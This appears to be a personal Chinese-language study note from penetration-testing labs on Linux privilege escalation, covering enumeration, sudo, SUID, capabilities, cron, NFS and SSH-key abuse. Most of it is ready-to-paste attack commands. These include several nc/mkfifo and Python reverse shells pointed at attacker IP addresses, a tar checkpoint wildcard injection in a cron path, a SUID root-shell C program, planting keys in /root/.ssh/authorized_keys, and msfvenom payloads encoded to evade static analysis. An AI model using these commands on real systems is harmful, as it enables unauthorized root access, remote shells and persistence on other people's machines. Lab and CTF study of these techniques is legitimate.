---
# System prepended metadata

title: 關於Liunx的權限提升相關內容
tags: [Penetration Test, linux]

---

# 關於Liunx的權限提升相關內容

>以下內容為本人練習筆記，若有錯誤歡迎留言討論~~

**參考連結**
* https://gtfobins.github.io/
* https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
* https://www.revshells.com/

網站 讚的，拿來 exploit


## 使用完整終端
使用以下指令可獲得完整終端
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
按ctrl+z 停止任務並放置後台
stty raw -echo; fg
```

在meterpreter環境中，可能無法獲得完整TTY (終端)，但可執行反向shell來建立完整TTY
先執行

```
shell
```
來建立反向shell，記得在攻擊機先
```
nc -lvnp 6668
```
再輸入 
```
nc -c sh your_IP 6668 #此指令在舊版NC才可使用
或是以下指令 (全部一起複製貼上)
rm /tmp/f 
mkfifo /tmp/f 
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.175.55 6668 > /tmp/f
```




##  權限提升前的系統信息收集:
在成功存取系統後，首要步驟是進行信息收集，以確認系統環境與可能的攻擊向量
 > **2>/dev/null 將錯誤輸出丟棄**

使用指令:
* hostnamectl  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 查看系統的主機名稱和作業系統的基本信息
* uname -a  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 顯示系統的內核版本、主機名稱
* cat  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp;: /proc/version : 查看作業系統和內核的版本信息
* env  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 查看環境變數
* sudo -l  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 列出當前用戶可執行的 sudo 命令
* /etc/passwd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : (grep | home 可以篩選可能是user的帳號)
* /etc/shadow  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 若可以訪問/etc/shadow 記得拿去暴力破解看看
* history &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 查看當前用戶的歷史命令
* find / -name flag1.txt
* find / -perm -o=w -type d 2>/dev/null：尋找全域可寫資料夾
* find / -perm -o=x -type d 2>/dev/null ：尋找全域可執行資料夾
* find / -type f -perm -111 2>/dev/null


## 查看ID內容:
輸入 ```id``` 查看，若有出現相關群組，可找找能否利用，例如以下
```
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),27(sudo)
```
同時查看一下/etc/passwd 看有哪些帳號
```
cat /etc/passwd
```
找尋相關 group 可使用的檔案
使用-not -path 參數可過濾掉不要的路徑
```
find / -type f -not -path "/proc/*"  -group {group_name} 2>/dev/null
```
* adm 群組表示允許成員讀取系統日誌（log files），但 不能寫入或修改
  可輸入
  ```
  cat /var/log/auth* | grep -ai pass   #查看可能含有密碼的log
  ```  
* 有時會出現binary file matches，你可以加上 -a 或 --binary-files=text，讓 grep 視所有輸入為文字
* sudo 群組表示允許執行 sudo 命令，獲取 root 權限
* 若有看到其他群組也可以研究看看
* ```/etc/pam.d/su``` 是 控制誰能用 su 切換使用者以及如何驗證的設定檔。
  可在此查看是否能直接使用別的帳號
  不同 Linux 發行版可能內容稍有不同，但核心都是用 PAM 模組來檢查身份、密碼與群組限制。

## Sudo :
1. sudo -l 查看有哪些指令是我們能使用root權限執行的，找到有權限的指令後，可到[這裡](<https://gtfobins.github.io>)查看有無相關方法能使用
2. 可查看 /etc/sudoers 查看相關帳號權限，或是利用一些特殊方法把權限寫入該檔案中
3. ```cat /etc/pam.d/su``` 可查看帳號的相關 su 設定，可能有一些可利用的地方
4. 可使用 ``` sudo -u {username} ```來暫時使用其他人的名義執行指令
5. 當 !root時，可試試看`sudo -u#-1 /bin/bash` ; sudo -V 可看版本 (僅適用於某些舊系統)

## Suid : 
```
find / -perm -u=s -type f 2>/dev/null
```
搜尋特定用戶有權限的檔案
使用-not -path 參數可過濾掉不要的路徑，例如```-not -path "/proc/*"``` **米字號記得加**
```
find / -type f -user {username} 2>/dev/null
```
1. find / -type f -perm -04000 -ls 2>/dev/null 查找有Suid權限的指令
2. 思考有哪些是能夠來使用的，若能使用的話就拿來提權或是取得更多資料 (like /etc/shadow)
3. 到[這個網站](<https://gtfobins.github.io>)看有無相關方法能使用 
4. 若可以訪問/etc/shadow 記得拿去暴力破解看看
5. 不一定只有網站上的方法能用，一些其他的方法也有機會透過路徑修改來提權

## Capabilities : 
1. ```getcap -r / 2>/dev/null``` ，查看有能力的指令，找到後一樣網站找有無可使用的方法
2. getcap（來自 libcap2-bin 套件）用來 顯示檔案的 Linux capabilities ;
   Linux capabilities 是一種 細化 root 權限 的機制，允許非 root 使用者執行某些高權限操作
3. 到[這個網站](<https://gtfobins.github.io>)看有無相關方法能使用 

## Pspy64

使用Pspy64工具來查看執行中的進程，此工具不用root權限也可使用
先在本機下載，在傳給目標機
記得更改權限才能使用
```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod 777 pspy64
```

## crontab : 
1. 因為我們沒有權限能修改crontab中的內容，但有可能可以查看/etc/crontab的內容，若有發現定期在執行的腳本的話，就可以拿來使用 (連接反向shell 等等) 
2. **可輸入 ```ps aux | grep {filename}```查看該檔案有無運行紀錄，藉此來查看該檔案是否於其他位置也有自動化排程**
```
ps aux | grep {filename}
cat /etc/crontab
```
使用反向shell來連接，(前提是有該任務執行內容、檔案的寫入權限)
```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> 1234 >/tmp/f" > shell.sh

touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"

touch "/var/www/html/--checkpoint=1"
```
## SSH 傳送公鑰登入
若使用者可利用一些方法修改 .ssh/authorized_keys，則可加入惡意公鑰，透過 SSH 連線以更高權限登入，進行權限提升。

.authorized_keys 是一個在 SSH 伺服器端使用的檔案，通常位於用戶的主目錄下的 .ssh 資料夾中，將公鑰存入後，可使用私鑰登入
例如```/root/.ssh/authorized_keys```

在攻擊機生成公私鑰
```
ssh-keygen -f key_name -t ed25519
```
-f 參數指定生成的金鑰文件的檔名
-t 參數指定金鑰的類型

再將公鑰傳送至目標機器的 ```authorized_keys```檔案中，之後在攻擊機中帶私鑰登入就可以了
```
ssh -i id_ed25519 root@target_ip
```

若有目標機器的私鑰，也可直接將其複製到本機使用

> 金鑰權限不能開太大，否則無法使用，開chmod 600即可

## Python 程式碼修改

> python執行檔案時，該檔案無須(X)執行權限，有(R)read權限即可執行

一般 import 套件的話，都是從系統檔案上的 .py文件去引用的

<span style="font-size: 18px;color:red;">**需先至官方文檔查看該套件的原始檔名，再至同一目錄底下創造相同檔名進行修改**</span>

#### **Python 會先找當前目錄，再找環境變數裡的路徑，最後才找內建模組。**
所以可透過新增相同檔名的 .py檔案去替代原始的檔案來造成權限提升的效果
* 若有sudo可執行的python檔案，可更改內容為:
```
import pty

pty.spawn("/bin/bash")
```
#### python反向shell
若要在python程式碼中插入反向shell的話，因python不是指令介面，需用以下程式碼寫入
```
import socket,os,pty;s=socket.socket();s.connect(("10.8.65.182",6661));[os.dup2(s.fileno(),fd) for fd in(0,1,2)];pty.spawn("/bin/bash")
```
#### 腳本rev
```
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 192.168.175.55 6669 >/tmp/g 
```

#### SETENV 
若 ```sudo -l``` 中有出現 SETENV 的話，則可以在執行該指令時套用環境變數
使用上面方法，修改 import 的模組位置，再套用路徑執行指令

```
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py
```
> PATH 是給 Shell 找「執行檔」用的
PYTHONPATH 是給 Python 找「import module」用的

## 變數注入
若檔案權限為SetUID / SetGID，且看到可執行的程式中有使用一些特定參數，例如 "date"、"ls"等等的話，可利用以下內容來獲得提權
讓該程式在執行時，同時載入注入內容

```
echo "/bin/sh" > date  #(在同一資料夾中)
chmod +x date
export PATH=.:$PATH
./{filename}
```
可使用以下內容，讓變數執行命令
```
List=$(whoami)
echo $List
```


## NFS: 
NFS（網路檔案共用）允許伺服器與客戶端共享目錄，其配置儲存在 `/etc/exports` 檔案中，可用來查看共享目錄的設定。權限依系統配置而定，部分情況下可能允許非特權用戶讀取。

先至該處查看有無檔案，若有檔案的話檢查是否有root權限
>在預設情況下，NFS 會將來自 root 使用者的請求轉換為 nfsnobody，並禁止以 root 權限操作任何檔案。然而，若共享目錄設定了 no_root_squash 選項，則 root 使用者在該共用目錄上將不會被轉換為 nfsnobody，這意味著 root 權限將不受限制。此時，若目標系統中存在一個設置了 SUID 位元的可執行檔，且該檔案的擁有者為 root，那麼攻擊者便可透過執行此檔案來以 root 權限進行操作，從而取得系統控制權。


可以 showmount -e (ip) 查看該台機器有無共享資料夾，連接該共享資料夾後
再使用下列腳本編譯使用
```
int main()
{ setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}
```
安裝完成後記得給權限 chmod (u+s)



## 持久性設置

需先取得目標機器反向shell，可在目標機器開機時自動啟動反向shell

```
use exploit/windows/local/persistence
```
---------------------------
## 使用 metasploit 接收反向 shell
當 反向shell 成功執行後，可使用 metasploit 的參數來接收反向shell
先使用 msfvenom 來製作反向shell

-a 是架構
```--enocder x86/shikata_ga_nai ``` 是編碼器，可繞過靜態分析
```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
```
```
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell-name.elf
```
```
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp  #根據目標系統更改
```

## Linpeas
可以使用提權腳本來檢查
https://blog.csdn.net/Themanager112/article/details/135434171
* 權限提升腳本及SCP複製
```
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh
```
![image](https://hackmd.io/_uploads/ByyzuQo5yg.png)


可用 ```python3 -m http.sever``` 或 scp 複製到目標機器中

從本地端複製到遠端
`scp /path/file1 myuser@192.168.0.1:/path/file2`
從遠端複製到本地端
`scp myuser@192.168.0.1:/path/file2 /path/file1`



## Ruby

若在ruby環境中可輸入以下指令來獲得shell
```
system("/bin/bash")
exec "/bin/sh"
```

## tar (Capabilities)

```
tar cvf roottxt.tar /root/root.txt
tar -xvf roottxt.tar
cd root
cat root.txt
```